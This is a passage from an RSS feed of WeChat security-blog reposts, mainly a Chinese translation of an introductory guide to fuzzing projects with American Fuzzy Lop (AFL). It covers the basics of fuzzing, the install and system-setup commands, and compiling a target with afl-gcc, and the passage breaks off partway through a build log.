leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://itm8.com/articles/read2own-red-teaming-microsoft-azure">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5f9ca05e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495986%26idx%3D1%26sn%3Dc4a089ed592f25ebb6a5719016e1029e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 May 2026 10:24:00 +0800</pubDate>
    </item>
    <item>
      <title>使用 american fuzzy lop (AFL) 对项目进行 fuzzing</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495986&amp;idx=2&amp;sn=085c365ceb28a6b0434beb6d074eca6e</link>
      <description>一篇简短的 AFL 入门指南:介绍 fuzzing 的基本概念,演示如何配置 afl 并搭配 exploitable 与 gdb 对项目进行 fuzzing、自动化分析崩溃并以图表呈现结果。</description>
      <content:encoded><![CDATA[<p><span>0x434b</span> <span>2026-05-06 10:24</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=09741f50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSgssBjWyyicAZ1IDv3jdeUTeibNxOZhCEuEw52hOFLVWc2GdOusrP7Y4Oyp6v4Od0ODrHnDeLB8raL5jPY9poHjxFszibdQQiaIvFk%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>一篇简短的 AFL 入门指南:介绍 fuzzing 的基本概念,演示如何配置 afl 并搭配 exploitable 与 gdb 对项目进行 fuzzing、自动化分析崩溃并以图表呈现结果。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://0x434b.dev/fuzzing-projects-with-american-fuzzy-lop-afl/" target="_blank">https://0x434b.dev/fuzzing-projects-with-american-fuzzy-lop-afl/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">0x434b</span></p></td></tr></tbody></table><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">前言</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文将以一篇短小的介绍,带你了解 fuzzer 是什么、它们如何工作,以及如何正确地配置 afl - american fuzzy lop 这款 fuzzer,从而在任意项目中发现缺陷。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">afl 的知名替代工具 (用于相同或其他场景):</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">boofuzz: Network Protocol Fuzzing for Humans</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Googles - OSS-Fuzz - Continuous Fuzzing for Open Source Software</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">libfuzzer</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">以及更多</span></p></li></ul><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">什么是 fuzzing?</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简而言之,我们可以将 fuzzing 定义如下</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Fuzzing is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.&#34;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这种方法可以应用于整个应用程序、特定协议,甚至单个文件格式。根据攻击向量的不同,产出的结果显然会有所变化,并可能导致数量不等的 bug。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Fuzzing 的优点</span></strong></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">设计简单,因此基础的 fuzzer 可以轻松地从零开始实现</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过随机化的方式发现潜在的 bug 或缺陷,而这些往往会被人工 QA 所忽视</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">可以将不同的输入变异方式与符号执行 (symbolic execution) 结合起来!</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">不那么妙的地方...</span></strong></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">往往只能找到&#34;简单的 bug&#34;</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">黑盒测试方式使得评估所发现结果的影响变得困难</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">许多 fuzzer 仅限于某种特定的协议 / 架构 /...</span></p></li></ul><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">如何为 fuzzing 配置 afl,并搭配 exploitable 与 gdb 一起使用</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们直接进入环境配置的环节... 在此之前没什么好说的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">精彩内容马上呈现!</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">通过克隆仓库让 afl 跑起来</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">git clone <a href="https://github.com/mirrorer/afl.git" target="_blank">https://github.com/mirrorer/afl.git</a> afl</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">cd</span></span><span leaf=""> afl</span><br/><span leaf="">make </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;&amp;</span></span><span leaf=""> sudo make install</span><br/><span leaf="">su root</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span leaf=""> core </span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf="">/proc/sys/kernel/core_pattern</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">cd</span></span><span leaf=""> /sys/devices/system/cpu </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;&amp;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span leaf=""> performance </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> tee cpu</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">/cpufreq/scaling_governor</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">exit</span></span><br/><span leaf="">sudo apt install gnuplot</span><span style="color: rgb(106, 115, 125);"><span leaf=""># --------------------------------------------------------------------------- #</span><br/></span><span leaf="">git clone <a href="https://github.com/rc0r/afl-utils.git" target="_blank">https://github.com/rc0r/afl-utils.git</a> afl-utils</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">cd</span></span><span leaf=""> afl-utils</span><br/><span leaf="">sudo python setup.py install</span><span style="color: rgb(106, 115, 125);"><span leaf=""># --------------------------------------------------------------------------- #</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># -----------------------------------optional-------------------------------- #</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># --------------------------------------------------------------------------- #</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># check the official git repo for needed/supported architectures #</span><br/></span><span leaf="">git clone <a href="https://github.com/shellphish/afl-other-arch.git" target="_blank">https://github.com/shellphish/afl-other-arch.git</a> afl-qemu-patch</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">cd</span></span><span leaf=""> afl-qemu-patch</span><br/><span leaf="">./build.sh </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">list,of,arches,you,need</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">安装完成之后,你就可以对自己心仪的项目开始 fuzzing 了。我们会在下一段中通过挑选一个随机的 github 项目来演示这一点。我会在文章末尾给出后文展示结果时所使用的 afl 命令,但出于隐私考虑不会公开被 fuzz 的仓库名。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">为 afl 插桩,开始通过 pwn 协助加固 GitHub 仓库的安全</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果源代码可用,使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CC=afl-gcc make</span></code><span leaf="">进行编译,或使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CC=afl-gcc cmake CMakeLists.txt &amp;&amp; make</span></code><span leaf="">来为 afl 插桩。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ cd targeted_application</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">CC</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">gcc cmake </span><span style="color: rgb(111, 66, 193);"><span leaf="">CMakeLists</span></span><span leaf="">.txt </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;&amp;</span></span><span leaf=""> make</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">The</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> compiler identification </span><span style="color: rgb(215, 58, 73);"><span leaf="">is</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">GNU</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">5.4</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Check</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> working </span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> compiler</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bin</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">gcc</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Check</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> working </span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> compiler</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bin</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">gcc </span><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span leaf=""> works</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Detecting</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> compiler </span><span style="color: rgb(111, 66, 193);"><span leaf="">ABI</span></span><span leaf=""> info</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Detecting</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> compiler </span><span style="color: rgb(111, 66, 193);"><span leaf="">ABI</span></span><span leaf=""> info </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf=""> done</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Detecting</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> compile features</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Detecting</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> compile features </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf=""> done</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Configuring</span></span><span leaf=""> done</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Generating</span></span><span leaf=""> done</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">--</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Build</span></span><span leaf=""> files have been written to</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">home</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lab</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Git</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">&lt;target&gt;</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">Scanning</span></span><span leaf=""> dependencies of target &lt;target&gt;</span><br/><span leaf="">[ </span><span style="color: rgb(0, 92, 197);"><span leaf="">14</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Building</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">object</span></span><span leaf=""> &lt;target&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">cc </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-as</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Instrumented</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">5755</span></span><span leaf=""> locations (</span><span style="color: rgb(0, 92, 197);"><span leaf="">64</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">bit, non</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">hardened mode, ratio </span><span style="color: rgb(0, 92, 197);"><span leaf="">100</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">).</span><br/><span leaf="">[ </span><span style="color: rgb(0, 92, 197);"><span leaf="">28</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Linking</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> static library &lt;target&gt;</span><br/><span leaf="">[ </span><span style="color: rgb(0, 92, 197);"><span leaf="">28</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Built</span></span><span leaf=""> target &lt;target&gt;</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">Scanning</span></span><span leaf=""> dependencies of target md2html</span><br/><span leaf="">[ </span><span style="color: rgb(0, 92, 197);"><span leaf="">42</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Building</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">object</span></span><span leaf=""> &lt;target&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">cc </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-as</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Instrumented</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">165</span></span><span leaf=""> locations (</span><span style="color: rgb(0, 92, 197);"><span leaf="">64</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">bit, non</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">hardened mode, ratio </span><span style="color: rgb(0, 92, 197);"><span leaf="">100</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">).</span><br/><span leaf="">[ </span><span style="color: rgb(0, 92, 197);"><span leaf="">57</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Building</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">object</span></span><span leaf=""> &lt;target&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">cc </span><span style="color: rgb(0, 92, 197);"><span 